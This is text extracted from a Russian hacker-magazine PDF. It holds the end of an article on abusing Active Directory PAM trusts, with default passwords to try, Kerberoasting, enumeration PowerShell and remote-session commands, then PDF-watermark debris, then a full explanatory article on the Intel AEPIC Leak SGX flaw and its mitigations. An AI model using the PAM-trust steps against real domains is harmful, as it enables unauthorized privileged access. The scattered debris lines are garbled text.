Все эти учетные записи стоит проверить с паролем Pass@word1. Также, если мы нашли учетки PRIV.pamRequestor или pamrequestor, имеет смысл попробовать пароли L0ngP@ssw0rd и L0ngP@ssw0rd1. Ко всему прочему у всех этих пользователей настроен SPN, поэтому мы можем атаковать их с исполь-

зованием атаки Kerberoasting.

ЭКСПЛУАТАЦИЯ

Чтобы злоупотребить PAM Trust, мы должны получить пользователя, который входит в контейнер CN=Shadow Principal Configuration,CN=Services.

Сначала требуется найти пользователей из этого контейнера:

# AD Module

Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,

CN=Services,DC=priv,DC=local" -Filter * -Properties * | select

Name,member,msDS-ShadowPrincipalSid | fl

Я уже рассказывал выше, что означает данный вывод. Как только мы сможем скомпрометировать пользователя из этого контейнера (member), получим доступ, который имеет принципал, указанный в msDS-ShadowPrincipalSid. В нашем примере это будет доступ, который имеют участники группы

Enterpise Admins.

Мы можем получить доступ к обычному лесу с помощью PowerShell, WMI и других подобных инструментов без ввода учетных данных. Для RDP нам придется их вводить.

Обрати внимание: если шифрование Kerberos AES не включено для доверия, нам нужно изменить свойство WSMan TrustedHosts и использовать аутентификацию Negotiate для PSRemoting:

# production.local — это управляемый лес. Мы находимся в

бастионном

Enter-PsSession dc.production.local -Authentication

NegotiateWithImplicitCredential

Другой вариант — использовать SIDHistory (опция /sids в мимике). Доверие PAM позволяет SID с высокими привилегиями пересекать доверие леса, которое обычно фильтруется с помощью SIDFiltering.

ЗАКЛЮЧЕНИЕ

Вот такой короткой получилась статья. Я надеюсь, что смог достаточно понятным языком рассказать о сложных концепциях. Если у тебя остались вопросы, то смело задавай их мне в телеграме.

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

o m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ИЗУЧАЕМ НАШУМЕВШУЮ УЯЗВИМОСТЬ В ПРОЦЕССОРАХ INTEL

Программно эксплуатируемая аппаратная уязвимость — явление редкое. Обнаружить такую непросто, а пофиксить — еще сложнее: если проблема скрывается в архитектуре процессора, она вполне может оказаться и вовсе неустранимой. Технология Intel SGX уже неоднократно подвергалась атакам, и вот недавно объединенная группа исследователей обнаружила в процессорах Intel еще один архитектурный баг, позволяющий организовать утечку ключей шифрования и другой критичной информации.

Юрий Язев

Широко известен под псевдонимом yurembo.

Программист , разработчик видеоигр, независимый исследователь. Старый автор журнала «Хакер». yazevsoft@gmail.com

Валентин Холмогоров

Ведущий редактор valentin@holmogorov.ru

Баг получил наименование AEPIC Leak. Давай разберемся в его устройстве и посмотрим, так ли он опасен, как об этом говорят.

ЧТО ТАКОЕ INTEL SGX?

Технологию SGX (Software Guard Extensions) называют краеугольным камнем системы безопасности процессоров Intel. По большому счету SGX представляет собой набор инструкций, позволяющих программам, в частности операционным системам и виртуальным машинам, создавать так называемые анклавы — защищенные участки памяти для хранения ключей шифрования и прочих критичных данных.

Главная особенность анклавов заключается в том, что, кроме процесса-вла- дельца, ни один другой процесс, включая ядро ОС, гипервизоры виртуальных машин, периферийные устройства, обращающиеся к памяти с прямыми запросами DMA, не имеют прав на чтение из защищенной области памяти и запись в нее. Это гарантирует целостность хранящихся там данных.

Теоретически нет никакой возможности изменить содержимое анклавов SGX, даже если сама операционная система скомпрометирована или в ней работает вредоносное ПО с высокими привилегиями. С использованием этого инструмента можно организовать надежное шифрование данных (например, для создания защищенных дисковых разделов), выполнять безопасные удаленные вычисления, хранить цифровые сертификаты или реализовать системы защиты от копирования — так, SGX активно использовался в технологии записи данных Blu-ray. Изначально SGX создавался именно для вычислений на удаленных машинах в обособленном и полностью защищенном окружении.

Технология SGX появилась в 2015 году в процессорах Intel шестого поколения Skylake. Именно в эти чипы был встроен аппаратный модуль Memory Encryption Engine, обеспечивающий шифрование данных, которые передаются от процессора в анклавы памяти SGX. Поскольку шифрование выполнялось компонентом CPU, периметр безопасности ограничивался только процессором, без обмена незашифрованными данными с оперативной памятью, всегда считавшейся ненадежной в плане информационной безопасности.

БРЕШЬ AEPIC LEAK

AEPIC Leak — первый архитектурный баг CPU, позволяющий атакующему сливать данные из процессора без использования стороннего канала. Такие уязвимости, как Meltdown или Spectre, не являются полностью аппаратными багами. Они представляют собой аппаратные уязвимости, которые эксплуатируются из программного обеспечения. Следовательно, сторонний канал — это внешнее ПО. Другими словами, брешь AEPIC Leak позволяет уводить данные напрямую, без использования специальных программ. Тем не менее, чтобы создать эти данные, применяются специальные архитектурно зависимые библиотеки Intel IPP и SGX. Атаки на уязвимости Meltdown и Spectre называются атаками переходного исполнения из-за необходимости использования такого специального софта.

К чисто архитектурным багам также относятся широко известные уязвимости FDIV и F00F. Первая из них была обнаружена в оригинальных процессорах Pentium и приводила к неверным результатам при делении чисел с плавающей запятой с помощью инструкции FDIV. Вторая же присутствовала в большем числе моделей процессоров, включая всю линейку микроархитектурного ряда P5. Ошибка могла привести к останову процессора еще при загрузке операционной системы, а «лечили» это, обновляя ОС.

Между тем в девяностые годы прошлого века, когда были выявлены две эти уязвимости, диапазон вычислений не распространялся дальше локального компьютера. Поэтому, хотя выявление этих багов наделало много шума, умышленная их эксплуатация не создавала для пользователей серьезных проблем, особенно после выхода заплаток. В наше время картина выглядит иначе. Мир зависит от вычислений в облаках, а так как SGX — главный защитный механизм удаленных вычислений, эксплуатация хакерами его уязвимости наносит сокрушительный удар по конфиденциальности данных.

Выявление уязвимости

Исследователи просканировали адресное пространство ввода-вывода процессоров, базирующихся на микроархитектуре Intel Sunny Cove. В результате удалось обнаружить, что не все регистры локального APIC проинициализированы должным образом. Другими словами, после выполнения операции чтения/ записи эти регистры не очищаются и продолжают хранить старые значения, которые использовались в предыдущем вычислении.

Посредством AEPIC Leak можно прочесть зарезервированную часть APICрегистров. APIC использует суперочередь между L2 и LLC для передачи данных ядру процессора. Зарезервированная часть не перезаписывается, что позволяет хакеру прочесть устаревшие данные другого приложения.

Наиболее уязвимым участком передачи данных внутри CPU, откуда можно утянуть ценную информацию, является суперочередь — буфер для передачи данных из кеша L2 в LLC и обратно. При наличии административных привилегий в системе это позволяет похитить хранящиеся в анклаве SGX данные без использования сложных схем.

Цели атаки

Уязвимости AEPIC Leak подвержены все процессоры Intel на базе архитектуры Sunny Cove (такие как Ice Lake и Alder Lake), то есть клиентские микропроцессоры 10, 11 и 12-го поколений, а также серверные процессоры Xeon третьего поколения.

При этом сама Intel выкатила более широкий список процессоров, под-

верженных уязвимости AEPIC Leak, включающий Ice Lake Xeon-SP, Ice Lake D, Gemini Lake, Ice Lake U, Y и Rocket Lake.

Сведения о том, подвержены ли атакам на эту брешь процессоры фирмы AMD, разнятся. Кто-то сообщает, что такие процессоры не имеют этой уязвимости, другие утверждают, будто атакам подвержены процессоры на архитектурах Zen 1–3.

Даниель Грусс (исследователь из группы Грацского технического университета, опубликовавшей отчет об уязвимости) утверждает, что, поскольку Apple M1 (и, возможно, M2) построены на основе того же дизайна, что и Sunny Cove, они тоже подвержены атакам на уязвимость AEPIC Leak.

Хотя установлено, что наибольшую опасность AEPIC Leak представляет для локальных систем, это не значит, что хакер не может на своем компьютере подготовить эксплуатирующую уязвимость малварь и подсунуть ее пользователю, работающему на целевой системе. Останется заставить пользователя запустить вредоносную программу, а дальше уже дело техники.

Как все-таки работает уязвимость AEPIC Leak? Сейчас разберемся.

НЕМНОГО ТЕОРИИ

Современные процессоры — крайне сложные устройства, состоящие из набора логических элементов, управляемых собственным набором микропрограмм. Один из них — расширенный программируемый контроллер прерываний (APIC), управляющий, как следует из его названия, прерываниями. Он состоит из локального APIC, интегрированного в каждое логическое ядро и ответственного за обработку межпроцессорных прерываний, и внешнего APIC, управляющего прерываниями ввода-вывода.

В свою очередь, локальный APIC содержит так называемые регистры, предназначенные для управления его функциональностью или отображения состояния прерываний в системе. По умолчанию современные контроллеры APIC функционируют в режиме xAPIC, в котором каждый регистр представляет собой область размером 4 Кбайт в физическом адресном пространстве памяти. Разные модели процессоров имеют разное количество APIC-регис- тров: от 32 до 256.

Процессоры Intel используют иерархическую систему памяти для кеширования данных на нескольких уровнях. Кеш самого низкого уровня — наиболее близкого к ядру процессора (L1) — предоставляет более быструю память, чем кеши верхних уровней. Но этот кеш имеет небольшой объем и используется для хранения данных, которые готовятся для обработки процессором на следующем шаге. Также в нем хранятся данные, попутно выбранные из кеша верхних уровней.

Кеши более высоких уровней имеют больший объем, но отличаются меньшим быстродействием. В архитектуре Intel на самом низком уровне располагается кеш инструкций (L1I) и данных (L1D), на втором уровне — локальный объединенный кеш (L2). Кеш-память последнего уровня (Last Level Cache, LLC или L3) обычно общая для всех физических ядер. В документации Intel последний уровень кеша именуется LLC, поскольку разные устройства имеют разное количество кешей. Так, если у вычислительных ядер центрального процессора по три уровня кеша, то видеоядро имеет четыре уровня.

Когда процессору нужны данные, он пытается их найти сначала на ближайшем уровне. Таким образом, в первую очередь он ищет их в собственных регистрах. Если там их нет, поиск продолжается на уровне L1. Если на этом уровне нужных данных тоже нет, процессор создает буфер, с помощью которого обращается на уровень L2, попутно записывая в этот буфер найденные данные или сведения о неудаче. Данные, изъятые из верхнего уровня, через буфер записываются на нижний и в итоге передаются процессору.

Если на уровне L2 тоже нет искомых данных, процессор создает суперочередь (superqueue) и через нее обращается на уровень L3, повторяя операции записи и логирования выполненных операций. Если же данных нет и на уровне L3, процессор обращается к контроллеру памяти, чтобы тот попытался найти их в оперативной памяти.

Этот круговорот данных между уровнями памяти получил название «кольцевое соединение». Как мы уже знаем, данные в анклаве передаются только по уровням процессорного кеша. Именно на него нацелены атаки, направленные на эксплуатацию уязвимости AEPIC Leak.

АРХИТЕКТУРА INTEL SGX

Технология Intel SGX в той или иной мере использует все эти архитектурные элементы. Intel Software Guard Extension обеспечивает доверенную среду исполнения (Trusted Execution Environment) на процессорах с архитектурой x8664. Чтобы программное обеспечение могло доверять анклаву или анклав был уверен, что его пытается прочесть или записать процесс-владелец, в архитектуре SGX предусмотрена процедура аттестации — криптографической проверки подлинности анклава. Различают локальную и удаленную аттестацию: первая применяется для проверки анклавов на одной платформе, вторая — при удаленных вычислениях.

Во время создания анклава CPU собирает криптографические измерения для запуска анклава и его сигнатуры в два измерительных регистра: MRSIGNER и MRENCLAVE. Анклав генерирует подтвержденный локальный аттестат для целевого анклава, используя инструкцию ereport. Этот аттестат может быть криптографически проверен целевым анклавом с помощью ключа, полученного инструкцией egetkey.

В свою очередь, SGX основан на более ранней технологии от Intel EPID. Алгоритм Enhanced privacy ID был разработан в 2008 году и до сих пор используется как часть механизма аттестации в доверенных системах, таких как SGX.

Анклавы SGX находятся в виртуальном адресном пространстве, но их физическая память поддерживается защищенным кешем страниц анклава (Enclave Page Cache, EPC). Записи в EPC автоматически шифруются и при необходимости расшифровываются механизмом шифрования памяти. Информация из анклава недоступна для злоумышленников или вредоносных программ, так как находится в зашифрованном состоянии. Если во время работы анклава происходит сбой или прерывание, процессор инициирует асинхронный выход из анклава (AEX), надежно сохраняя и очищая все регистры процессора, где выполняется анклав, на момент прерывания в области сохранения его состояния (SSA) внутри EPC.

Из-за ограниченного размера EPC зашифрованные страницы могут перемещаться в основную память и обратно без раскрытия их содержимого. Когда страница анклава перемещается из основной памяти обратно в EPC, ее расшифровывают и криптографически проверяют, чтобы убедиться, что ее содержимое не было подделано или изменено. Однако при этом данные в открытом виде попадают в кеш процессора. Выполнение анклавов может быть начато только из предварительно подготовленной точки входа с помощью инструкции eenter. Завершение выполнения — с использованием инструкции eexit. Специальная инструкция eresume восстанавливает выполнение анклава из фрейма SSA.

Системное ПО использует инструкцию EWB для перемещения зашифрованных страниц EPC из кеша в оперативную память. Когда страница анклава перемещается из оперативной памяти в кеш, используется инструкция ELDU. Она расшифровывает и криптографически проверяет содержимое, чтобы гарантировать, что оно не было подделано.

Как ты уже знаешь, для обработки запросов к кешам процессора разных уровней служат буферы. Исследователи установили, что в процессорах Intel суперочередь используется как временный буфер для хранения запросов APIC. Изучение механизма работы APIC показало, что при инициализации буфера APIC перезаписывает нулями только архитектурно определенные части регистра и оставляет неактуальные значения в зарезервированной его части. Иными словами, при чтении неопределенного диапазона регистров APIC из буфера возвращаются устаревшие данные, помещенные туда другим процессом, при этом чтение можно выполнить из Ring 0, то есть из операционной системы.

Утечка байтов в 64-байтовой строке кеша

Настало время вспомнить о том, что буфер APIC хранится в суперочереди, а сама суперочередь отвечает за кеширование информации. Таким образом, через эти регистры могут быть прочитаны любые данные, передаваемые между L2 и кешем последнего уровня. В том числе и попавшие в кеш данные из страниц анклава, хранящиеся там в открытом виде.

ЭКСПЛУАТАЦИЯ

Для эксплуатации уязвимости AEPIC Leak исследователи предложили две тех-

ники: Cache Line Freezing и Enclave Shaking. Обе техники нацелены на получе-

ние из суперочереди значений регистров, состояния загрузки памяти, а также кешированных страниц данных SGX-анклава. Уязвимость позволяет получить данные, используемые в процессе шифрования данных и удаленной аттестации, ключи AES-NI и RSA из библиотек Intel IPP и Intel SGX в течение нескольких секунд. Атака c использованием сочетания этих двух методов приводит к утечке данных из анклавов со скоростью 334,8 байт/с и коэффициентом успешнос-

ти 92,2%.

Первый метод строится на получении строк состояния анклава (SSA) внутри EPC, когда работа анклава прерывается и зашифрованные страницы EPC перемещаются в основную память и обратно через буфер. Cache Line Freezing позволяет злоумышленнику точно выбирать получаемые из буфера номера строк кеш-памяти и таким образом контролировать выборку строк. Без использования этого метода потребовались бы дополнительные инструменты, чтобы восстановить исходный порядок строк.

Метод Enclave Shaking использует возможности операционной системы безопасно менять местами страницы анклава. Попеременно меняя местами эти страницы, атакующий перемещает по иерархии кеша хранящиеся в них данные, что приводит к утечке значений даже без продолжения выполнения анклава. Иными словами, злоумышленник может сосредоточиться либо на области SSA для утечки данных, используемых в регистрах, либо на области секретных данных анклава в состоянии покоя. Повторяя атаку для каждой страницы анклава, можно полностью восстановить дамп памяти анклава и получить доступ к хранящимся в нем секретным данным.

Лучший результат достигается, если комбинировать обе атаки.

НАСКОЛЬКО ЭТО ОПАСНО?

Компания Intel прекратила поддерживать SGX в процессорах Core 11-го и 12го поколений. Не вполне ясна ситуация с процессорами от других вендоров: AMD и Apple. Тем не менее уже выпущенные процессоры, работающие под управлением ПО без надлежащего обновления, по-прежнему уязвимы. Также до сих пор уязвимость содержится в серверных процессорах Xeon третьего поколения, в них Intel пока не отключила SGX.

Для работы эксплуатирующей AEPIC Leak малвари требуются административные привилегии. Поэтому, если операционная система настроена правильно и злоумышленник не имеет доступа к учетной записи администратора, он не сможет воспользоваться уязвимостью. Однако, как было сказано выше, если подсунуть привилегированному юзеру эксплуатирующую эту уязвимость программу, то атака может быть успешна.

Что же касается гипервизоров, то процессоры Intel не раскрывают локальные регистры APIC для виртуальных машин, что устраняет угрозу гостевым системам. Тем не менее эксплуатация AEPIC Leak на «реальном железе» может привести к утечке данных из анклавов SGX, работающих на физическом ядре процессора. Это, в свою очередь, открывает злоумышленникам доступ к секретам DRM, ключам аттестации SGX, раскрывает AES-шифры и ставит под угрозу безопасность удаленных вычислений.

По большому счету уязвимость AEPIC Leak полностью разрушает гарантии безопасности, декларированные Intel для SGX, делая эту технологию практически бесполезной. Недаром Intel прекратила ее развитие и дальнейшую реализацию в новых процессорах.

КАК ОБЕЗОПАСИТЬ СВОИ ДАННЫЕ?

Независимые эксперты, а также сама корпорация Intel предлагают ряд решений, которые позволяют обезопасить данные от уязвимости AEPIC Leak.

1.Отключить SGX. Без нее отсутствуют возможности эксплуатации уязвимости. Но это не вариант для систем, где SGX активно используется.

2.В операционной системе включить режим x2APIC. Это позволит непосредственным образом отключить устаревший режим xAPIC. Главное отличие между xAPIC и x2APIC состоит в том, что последний не отображает на память регистры ввода-вывода, в первую очередь в целях повышения производительности. Поскольку x2APIC ничего не проецирует в память, украсть данные становится невозможно.

3.Использовать обновленный SGX SDK. По заверениям представите-

лей Intel, использование нового SDK снижает риск атак на брешь AEPIC Leak до минимума.

4.Дождаться обновления микрокода. Intel может обновить микрокод в драйверах к своим устройствам или добавить его в качестве модулей операционной системы.

5.Дождаться выхода новых процессоров, в которых аппаратная ошиб-

ка будет устранена.

Последние два варианта растянуты во времени на неопределенный срок. Тем не менее своевременное обновление ПО и аппаратной конфигурации позволяет повысить безопасность системы и избежать утечки критически важных данных.

Соседние файлы в папке журнал хакер